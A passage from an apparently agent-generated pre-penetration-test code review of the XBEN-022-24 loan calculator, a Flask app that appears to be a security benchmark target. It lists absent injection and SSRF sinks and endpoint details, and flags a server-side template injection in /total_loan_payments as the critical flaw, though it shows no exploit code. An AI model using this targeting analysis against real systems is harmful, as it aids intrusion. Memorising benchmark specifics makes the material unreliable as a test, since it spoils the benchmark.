- All database queries use SQLAlchemy ORM parameterized queries
- No raw SQL string concatenation

**No Command Injection Sinks:**
- No `os.system()`, `os.popen()`, `subprocess.call()`, `subprocess.run()`, `exec()` usage

**No Deserialization Sinks:**
- No `pickle.loads()`, `yaml.load()` (unsafe), or similar dangerous deserialization

**Summary:** The application's client-side XSS attack surface is minimal due to server-side rendering with Jinja2 auto-escaping. The critical vulnerability is the server-side SSTI in `/total_loan_payments`, not traditional browser-based XSS.

---

## 10. SSRF Sinks

**Comprehensive SSRF Analysis Result: NO SSRF SINKS FOUND**

After exhaustive analysis of the XBEN-022-24 codebase, **zero Server-Side Request Forgery (SSRF) attack surface** exists in the network-accessible web application.

### Analysis Methodology

The following SSRF sink categories were systematically searched across all Python backend files, HTML templates, and JavaScript assets:

**Python Backend Files Analyzed:**
- `/app/website/run.py` (Flask development server entry point)
- `/app/website/app/__init__.py` (Application initialization)
- `/app/website/app/routes.py` (All HTTP endpoint handlers)
- `/app/website/app/models.py` (Database models)
- `/app/website/app/db.py` (Database instance)

**Template Files Analyzed:**
- All 6 Jinja2 templates in `/app/website/app/static/templates/`
- All client-side JavaScript in `/app/website/app/static/js/`

### Negative Findings by Category

**1. HTTP(S) Client Libraries - NOT FOUND**
- ❌ No `requests` library (not in requirements.txt)
- ❌ No `urllib.request.urlopen()` usage
- ❌ No `httpx`, `aiohttp`, `http.client` imports
- ❌ No `urllib3` usage

**Python Dependencies (requirements.txt):**
```
flask==3.0.3
flask-sqlalchemy==3.1.1
pymysql==1.1.0
```
**None of these packages provide HTTP client functionality for outbound requests.**

**2. Raw Socket & Network Connections - NOT FOUND**
- ❌ No `socket.socket()` or `socket.connect()` usage
- ❌ No `urllib.urlopen()` calls
- ❌ No raw TCP/UDP socket creation

**3. URL Openers & File Fetchers - NOT FOUND**
- ❌ No file operations with URL parameters
- ❌ No remote file inclusion
- ❌ File operations limited to local filesystem (file upload at lines 106-112 of routes.py uses `image_profile.save(final_path)` with local path only)

**4. Redirect & Location Handlers - INTERNAL ONLY**

All redirects in the application use Flask's `redirect(url_for())` pattern pointing to **internal routes only**:

**File:** `/app/website/app/routes.py`
```python
# Line 21: return redirect(url_for('login'))
# Line 34: return redirect(url_for('home'))
# Line 45: return redirect(url_for('login'))
# Line 57: return redirect(url_for('login'))
# Line 75: return redirect(url_for('home'))
# Line 81: return redirect(url_for('login'))
# Line 119: return redirect(url_for('login'))
# Line 146: return redirect(url_for('login'))
# Line 172: return redirect(url_for('login'))
```

**Analysis:** All 9 redirect calls use `url_for()` with hardcoded route names (`'login'`, `'home'`). No user-controlled redirect destinations. **Not an SSRF vector.**

**5. Headless Browsers & Rendering Engines - NOT FOUND**
- ❌ No Puppeteer, Playwright, Selenium usage
- ❌ No wkhtmltopdf, Ghostscript, or PDF generation with URLs
- ❌ No server-side rendering (SSR) of external content

**6. Media Processors - NOT FOUND**
- ❌ No ImageMagick, GraphicsMagick, or FFmpeg usage
- ❌ No image processing with URL inputs
- ❌ File upload processes images locally only (if at all; no image processing library in requirements.txt)

**7. Link Previews & URL Unfurlers - NOT FOUND**
- ❌ No Open Graph or Twitter Card metadata fetchers
- ❌ No oEmbed endpoint integrations
- ❌ No URL metadata extraction

**8. Webhook Handlers & Callback Verifiers - NOT FOUND**
- ❌ No "ping webhook" functionality
- ❌ No outbound HTTP callbacks
- ❌ No webhook verification endpoints

**9. SSO/OIDC Discovery & JWKS Fetchers - NOT FOUND**
- ❌ No OpenID Connect integration
- ❌ No JWKS (JSON Web Key Set) fetching
- ❌ No OAuth metadata endpoints
- ❌ No SAML integration
- **Authentication:** Session-based only (no external identity providers)

**10. Importers & Data Loaders - NOT FOUND**
- ❌ No "import from URL" functionality
- ❌ No CSV/JSON/XML remote loaders
- ❌ No RSS/Atom feed readers
- ❌ No external API integrations for data synchronization

**11. Cloud Metadata Access - NOT FOUND**
- ❌ No AWS/GCP/Azure metadata API calls
- ❌ No container orchestration API clients
- ❌ No infrastructure metadata fetchers

**12. Package/Plugin Installers - NOT FOUND**
- ❌ No "install from URL" features
- ❌ No remote package fetching
- ❌ No plugin/theme downloaders

### Client-Side AJAX Analysis

**File:** `/app/website/app/static/templates/loan_details.html` (Lines 58-82)

**AJAX Call Found:**
```javascript
$.ajax({
    url: '/total_loan_payments',  // INTERNAL ENDPOINT ONLY
    type: 'GET',
    data: {
        principal: loanAmount,      // Template variable (server-rendered)
        payment: monthlyPayment,    // Template variable
        term: loanTerm              // Template variable
    },
    success: function(data) {
        var response = JSON.parse(data);
        var totalLoanPayment = response.total_loan_payments;
        var totalInterests = parseFloat(totalLoanPayment) - parseFloat(loanAmount);
        $('#loanPaymentMessage').text("Your total loan payment will be " + totalLoanPayment + 
            ", paying a total of " + totalInterests + " of interests"
        );
    },
    error: function(xhr, status, error) {
        $('#loanPaymentMessage').text('Error: ' + error);
    }
});
```

**Analysis:**
- URL is hardcoded to internal endpoint: `/total_loan_payments`
- No user-controlled URL parameter
- Data sent to endpoint uses server-rendered template variables (not user-controllable at AJAX invocation)
- **Not an SSRF vector** - client-side AJAX to internal API only

### Application Endpoint Review

All 10 HTTP endpoints reviewed for outbound request capability:

| Endpoint | Route | Outbound Requests? |
|----------|-------|-------------------|
| Root | `GET /` | No - redirect only |
| Login | `GET/POST /login` | No - database query only |
| Logout | `GET /logout` | No - session clearing only |
| Home | `GET /home` | No - database read only |
| Profile | `GET/POST /profile` | No - database operations only |
| Update Profile | `GET/POST /update_profile` | No - file save to local filesystem |
| Error | `GET /error` | No - template rendering only |
| Loan Details | `GET /loan_details` | No - database read only |
| Total Loan Payments | `GET /total_loan_payments` | No - template rendering only |
| Static Files | `GET /static/*` | No - file serving only |

**Result:** Zero endpoints make outbound HTTP(S) requests.

### Architectural Confirmation

**Application Architecture:**
- **Services:** 2-tier (loan_calculator app + MySQL database)
- **External Integrations:** NONE
- **API Calls:** All internal (database only)
- **Network Pattern:** Request-response only (no outbound connections)

**Docker Compose Network (docker-compose.yml):**
- loan_calculator container connects to db container on internal Docker network
- No external network dependencies
- Database port 3306 exposed only to loan_calculator service (not host)

### Conclusion

The XBEN-022-24 loan calculator application has **ZERO SSRF attack surface**. The application architecture is completely self-contained with no functionality that initiates outbound HTTP(S) requests to user-controlled or external destinations. All network operations are limited to:

1. Database connections (MySQL on internal Docker network)
2. Local filesystem operations (file uploads, template rendering)
3. Internal HTTP routing (redirects via `url_for()`)
4. Client-side AJAX to internal endpoints only

**No SSRF exploitation vectors exist in this application.**

---

**END OF CODE ANALYSIS REPORT**

Generated: 2025-01-31  
Scope: XBEN-022-24 Loan Calculator Web Application  
Analysis Type: Comprehensive Pre-Penetration Test Code Review  
Next Phase: Reconnaissance (RECON) agent will use this analysis for attack surface prioritization